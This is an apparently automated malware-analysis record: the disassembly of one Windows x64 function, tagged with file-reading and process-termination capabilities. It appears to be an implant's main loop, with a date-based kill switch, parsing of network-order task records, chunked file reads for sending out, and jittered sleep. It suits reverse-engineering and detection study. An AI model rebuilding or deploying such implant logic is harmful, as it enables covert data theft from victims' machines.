Function at 0x140006070
Capabilities:
Read file on windows
Terminate process

Disassembly:
sub rsp, 0x78
mov rax, qword [0x140027008]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x38]
lea ecx, [rax + rax*4]
movzx eax, word [rsp + 0x3a]
lea ecx, [rax + rcx*2]
movzx eax, word [rsp + 0x3e]
imul edx, ecx, 0x3e8
add edx, eax
cmp edx, 0x134fd91
jb 0x1400060c1
call fcn.140001f20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x68], r12
call fcn.140006480
mov rcx, rax
call fcn.140004040
mov r12, rax
test rax, rax
je 0x140006466
cmp qword [rax], 0
je 0x140006466
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], rbp
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], r13
xor r13d, r13d
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r15
mov r15d, 1
nop
mov rcx, r12
call fcn.140003c00
test rax, rax
je 0x140006346
mov rcx, rax
call fcn.1400045d0
mov r14, rax
test rax, rax
je 0x1400061fb
cmp qword [rax], 0
je 0x1400061fb
mov ecx, dword [0x14002bc30]
mov ebp, r13d
test ecx, ecx
mov dword [0x140029cec], r13d
cmove ecx, r15d
cmp dword [rax + 8], 0
mov dword [0x14002bc30], ecx
jbe 0x1400061e9
mov r13d, 1
nop word [rax + rax]
mov ebx, ebp
add rbx, qword [r14]
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [rbx + 4]
mov r15d, eax
call qword [sym.imp.WS2_32.dll_ntohl]
movsxd rdi, eax
mov rdx, r13
lea ecx, [rdi + 1]
movsxd rcx, ecx
call fcn.140009d98
mov rsi, rax
test rax, rax
je 0x1400061e2
mov r8, rdi
lea rdx, [rbx + 8]
mov rcx, rax
call fcn.1400098c0
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.140002140
mov rcx, rsi
call fcn.14000a2c4
add ebp, 8
add ebp, edi
cmp ebp, dword [r14 + 8]
jb 0x140006180
xor r13d, r13d
lea r15d, [r13 + 1]
mov rcx, qword [r14]
call fcn.14000a2c4
mov rcx, r14
call fcn.14000a2c4
jmp 0x140006200
call fcn.1400058f0
mov rbx, qword [0x14002bca0]
mov rbp, r13
test rbx, rbx
je 0x14000633f
cmp dword [rbx + 4], 0
jbe 0x1400062e3
mov ecx, 0x80004
call fcn.14000c564
mov r14, rax
test rax, rax
je 0x1400062e3
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [r14], eax
mov esi, r13d
mov edi, dword [rbx + 4]
mov dword [rsp + 0x30], r13d
cmp edi, 0x80000
jbe 0x140006258
mov edi, 0x80000
jmp 0x140006260
test edi, edi
je 0x14000629b
nop dword [rax]
mov rcx, qword [rbx + 8]
lea rdx, [r14 + 4]
mov eax, esi
lea r9, [rsp + 0x30]
add rdx, rax
mov qword [rsp + 0x20], r13
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000629b
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140006297
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x140006260
jmp 0x14000629b
mov dword [rbx + 4], r13d
lea edx, [rsi + 4]
mov r8d, 8
mov rcx, r14
call fcn.140004970
mov rcx, r14
call fcn.14000a2c4
cmp dword [rbx + 4], 0
ja 0x1400062e3
mov ecx, dword [rbx]
call qword [sym.imp.WS2_32.dll_htonl]
mov edx, 4
lea rcx, [rsp + 0x34]
mov dword [rsp + 0x34], eax
lea r8d, [rdx + 5]
call fcn.140004970
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140006213
mov rbx, qword [0x14002bca0]
test rbx, rbx
je 0x14000633f
nop dword [rax]
cmp dword [rbx + 4], 0
mov rax, qword [rbx + 0x10]
ja 0x140006321
mov rcx, rbx
test rbp, rbp
je 0x140006333
mov qword [rbp + 0x10], rax
call fcn.14000a2c4
mov rbx, qword [rbp + 0x10]
jmp 0x140006327
mov rbp, rbx
mov rbx, rax
test rbx, rbx
jne 0x140006300
call fcn.140005ec0
jmp 0x140006354
mov qword [0x14002bca0], rax
call fcn.14000a2c4
call fcn.140005ec0
jmp 0x140006354
cmp dword [0x140027a54], 0
je 0x140006354
call fcn.1400058f0
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x38]
lea ecx, [rax + rax*4]
movzx eax, word [rsp + 0x3a]
lea ecx, [rax + rcx*2]
movzx eax, word [rsp + 0x3e]
imul edx, ecx, 0x3e8
add edx, eax
cmp edx, 0x134fd91
jae 0x140006420
mov eax, dword [0x140029ce4]
test eax, eax
je 0x1400063f4
mov r9d, dword [0x140027a58]
mov ecx, r9d
imul ecx, eax
mov eax, 0x51eb851f
mul ecx
mov ecx, r9d
mov eax, 0x10624dd3
mov r8d, edx
shr r8d, 5
sub ecx, r8d
mul ecx
lea ecx, [r8 + r9]
mov eax, 0x10624dd3
mov edi, edx
mul ecx
xor ecx, ecx
shr edi, 6
mov ebx, edx
shr ebx, 6
call fcn.14000a284
mov rcx, rax
call fcn.140009dcc
call fcn.140009da0
sub ebx, edi
cdq
inc ebx
idiv ebx
add edx, edi
imul ecx, edx, 0x3e8
jmp 0x1400063fa
mov ecx, dword [0x140027a58]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140029ce8]
test eax, eax
je 0x140006120
mov dword [0x140027a58], eax
mov dword [0x140029ce8], r13d
jmp 0x140006120
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 0x1a]
call fcn.140004970
call fcn.140001f20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r12, qword [rsp + 0x68]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140008040
add rsp, 0x78
ret